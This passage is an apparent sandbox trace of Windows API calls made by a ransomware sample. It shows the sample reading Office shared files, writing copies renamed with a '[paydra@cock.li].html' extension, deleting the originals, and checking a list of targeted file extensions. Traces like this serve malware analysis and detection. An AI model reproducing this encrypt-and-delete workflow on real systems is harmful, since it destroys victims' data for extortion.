[0041.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0041.545] lstrlenW (lpString=".jpg") returned 4 [0041.545] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.545] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0041.545] lstrlenW (lpString="VisiorWW.XML") returned 12 [0041.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0041.546] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=8723) returned 1 [0041.546] CloseHandle (hObject=0x1c0) returned 1 [0041.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 0x20 [0041.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0041.546] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0041.546] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.546] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.546] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0041.546] GetLastError () returned 0x0 [0041.546] ReadFile (in: hFile=0x1c0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x2213, lpOverlapped=0x0) returned 1 [0041.934] WriteFile (in: hFile=0x1e8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x2220, lpOverlapped=0x0) returned 1 [0041.936] ReadFile (in: hFile=0x1c0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.936] WriteFile (in: hFile=0x1e8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0041.936] SetEndOfFile (hFile=0x1e8) returned 1 [0041.937] CloseHandle (hObject=0x1e8) returned 1 [0041.937] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.937] SetEndOfFile (hFile=0x1c0) returned 1 [0041.938] CloseHandle (hObject=0x1c0) returned 1 [0041.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0041.939] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 1 [0041.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0041.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0041.939] lstrlenW (lpString=".doc") returned 4 [0041.939] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.939] lstrlenW (lpString=".docx") returned 5 [0041.939] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0041.939] lstrlenW (lpString=".pdf") returned 4 [0041.939] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.939] lstrlenW (lpString=".xls") returned 4 [0041.939] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.939] lstrlenW (lpString=".xlsx") returned 5 [0041.939] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0041.939] lstrlenW (lpString=".ppt") returned 4 [0041.939] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0041.939] lstrlenW (lpString=".zip") returned 4 [0041.939] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.939] lstrlenW (lpString=".rar") returned 4 [0041.939] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.939] lstrlenW (lpString=".bz2") returned 4 [0041.939] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.939] lstrlenW (lpString=".7z") returned 3 [0041.939] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0041.939] lstrlenW (lpString=".dbf") returned 4 [0041.939] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0041.939] lstrlenW (lpString=".1cd") returned 4 [0041.940] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0041.940] lstrlenW (lpString=".jpg") returned 4 [0041.940] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0041.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0041.940] lstrlenW (lpString=".doc") returned 4 [0041.940] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.940] lstrlenW (lpString=".docx") returned 5 [0041.940] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0041.940] lstrlenW (lpString=".pdf") returned 4 [0041.940] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.940] lstrlenW (lpString=".xls") returned 4 [0041.940] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.940] lstrlenW (lpString=".xlsx") returned 5 [0041.940] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0041.940] lstrlenW (lpString=".ppt") returned 4 [0041.940] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0041.940] lstrlenW (lpString=".zip") returned 4 [0041.940] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.940] lstrlenW (lpString=".rar") returned 4 [0041.940] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.940] lstrlenW (lpString=".bz2") returned 4 [0041.940] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.940] lstrlenW (lpString=".7z") returned 3 [0041.940] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0041.940] lstrlenW (lpString=".dbf") returned 4 [0041.940] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0041.940] lstrlenW (lpString=".1cd") returned 4 [0041.940] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0041.941] lstrlenW (lpString=".jpg") returned 4 [0041.941] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.941] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0041.941] lstrlenW (lpString="DATES.XML") returned 9 [0041.941] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0041.941] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=8918) returned 1 [0041.941] CloseHandle (hObject=0x1c0) returned 1 [0041.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 0x20 [0041.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0041.941] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0041.942] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.942] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.942] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0042.482] GetLastError () returned 0x0 [0042.483] ReadFile (in: hFile=0x1c0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x22d6, lpOverlapped=0x0) returned 1 [0042.631] WriteFile (in: hFile=0x1fc, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x22e0, lpOverlapped=0x0) returned 1 [0042.632] ReadFile (in: hFile=0x1c0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.632] WriteFile (in: hFile=0x1fc, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0042.632] SetEndOfFile (hFile=0x1fc) returned 1 [0042.633] CloseHandle (hObject=0x1fc) returned 1 [0042.633] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.633] SetEndOfFile (hFile=0x1c0) returned 1 [0042.634] CloseHandle (hObject=0x1c0) returned 1 [0042.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0042.634] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 1 [0042.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0042.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0042.634] lstrlenW (lpString=".doc") returned 4 [0042.634] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.634] lstrlenW (lpString=".docx") returned 5 [0042.634] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0042.634] lstrlenW (lpString=".pdf") returned 4 [0042.634] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.634] lstrlenW (lpString=".xls") returned 4 [0042.635] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.635] lstrlenW (lpString=".xlsx") returned 5 [0042.635] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0042.635] lstrlenW (lpString=".ppt") returned 4 [0042.635] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0042.635] lstrlenW (lpString=".zip") returned 4 [0042.635] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.635] lstrlenW (lpString=".rar") returned 4 [0042.635] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.635] lstrlenW (lpString=".bz2") returned 4 [0042.635] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.635] lstrlenW (lpString=".7z") returned 3 [0042.635] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0042.635] lstrlenW (lpString=".dbf") returned 4 [0042.635] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0042.635] lstrlenW (lpString=".1cd") returned 4 [0042.635] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0042.635] lstrlenW (lpString=".jpg") returned 4 [0042.635] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0042.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0042.635] lstrlenW (lpString=".doc") returned 4 [0042.635] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.635] lstrlenW (lpString=".docx") returned 5 [0042.635] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0042.635] lstrlenW (lpString=".pdf") returned 4 [0042.635] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.635] lstrlenW (lpString=".xls") returned 4 [0042.636] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.636] lstrlenW (lpString=".xlsx") returned 5 [0042.636] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0042.636] lstrlenW (lpString=".ppt") returned 4 [0042.636] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0042.636] lstrlenW (lpString=".zip") returned 4 [0042.636] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.636] lstrlenW (lpString=".rar") returned 4 [0042.636] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.636] lstrlenW (lpString=".bz2") returned 4 [0042.636] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.636] lstrlenW (lpString=".7z") returned 3 [0042.636] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0042.636] lstrlenW (lpString=".dbf") returned 4 [0042.636] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0042.636] lstrlenW (lpString=".1cd") returned 4 [0042.636] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0042.636] lstrlenW (lpString=".jpg") returned 4 [0042.636] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.735] lstrcmpiW (lpString1=".DAT", lpString2=".html") returned -1 [0042.735] lstrlenW (lpString="STOCKS.DAT") returned 10 [0042.735] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0042.925] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=39017) returned 1 [0042.925] CloseHandle (hObject=0x1e0) returned 1 [0042.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 0x20 [0042.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0042.925] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0042.925] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.925] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.925] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0042.926] GetLastError () returned 0x0 [0042.926] ReadFile (in: hFile=0x1e0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x9869, lpOverlapped=0x0) returned 1 [0042.928] WriteFile (in: hFile=0x208, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x9870, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x9870, lpOverlapped=0x0) returned 1 [0042.929] ReadFile (in: hFile=0x1e0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.929] WriteFile (in: hFile=0x208, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0042.929] SetEndOfFile (hFile=0x208) returned 1 [0042.929] CloseHandle (hObject=0x208) returned 1 [0042.930] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.930] SetEndOfFile (hFile=0x1e0) returned 1 [0042.930] CloseHandle (hObject=0x1e0) returned 1 [0042.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0042.931] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 1 [0042.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0042.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0042.931] lstrlenW (lpString=".doc") returned 4 [0042.931] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0042.931] lstrlenW (lpString=".docx") returned 5 [0042.931] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1 [0042.931] lstrlenW (lpString=".pdf") returned 4 [0042.931] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0042.931] lstrlenW (lpString=".xls") returned 4 [0042.931] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0042.931] lstrlenW (lpString=".xlsx") returned 5 [0042.931] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1 [0042.931] lstrlenW (lpString=".ppt") returned 4 [0042.931] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0042.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0042.931] lstrlenW (lpString=".zip") returned 4 [0042.931] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0042.931] lstrlenW (lpString=".rar") returned 4 [0042.931] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0042.931] lstrlenW (lpString=".bz2") returned 4 [0042.931] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0042.932] lstrlenW (lpString=".7z") returned 3 [0042.932] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0042.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0042.932] lstrlenW (lpString=".dbf") returned 4 [0042.932] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0042.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0042.932] lstrlenW (lpString=".1cd") returned 4 [0042.932] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0042.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0042.932] lstrlenW (lpString=".jpg") returned 4 [0042.932] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0042.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0042.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0042.932] lstrlenW (lpString=".doc") returned 4 [0042.932] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0042.932] lstrlenW (lpString=".docx") returned 5 [0042.932] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1 [0042.932] lstrlenW (lpString=".pdf") returned 4 [0042.932] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0042.932] lstrlenW (lpString=".xls") returned 4 [0042.932] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0042.932] lstrlenW (lpString=".xlsx") returned 5 [0042.932] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1 [0042.932] lstrlenW (lpString=".ppt") returned 4 [0042.932] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0042.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0042.932] lstrlenW (lpString=".zip") returned 4 [0042.932] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0042.932] lstrlenW (lpString=".rar") returned 4 [0042.933] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0042.933] lstrlenW (lpString=".bz2") returned 4 [0042.933] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0042.933] lstrlenW (lpString=".7z") returned 3 [0042.933] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0042.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0042.933] lstrlenW (lpString=".dbf") returned 4 [0042.933] lstrcmpiW 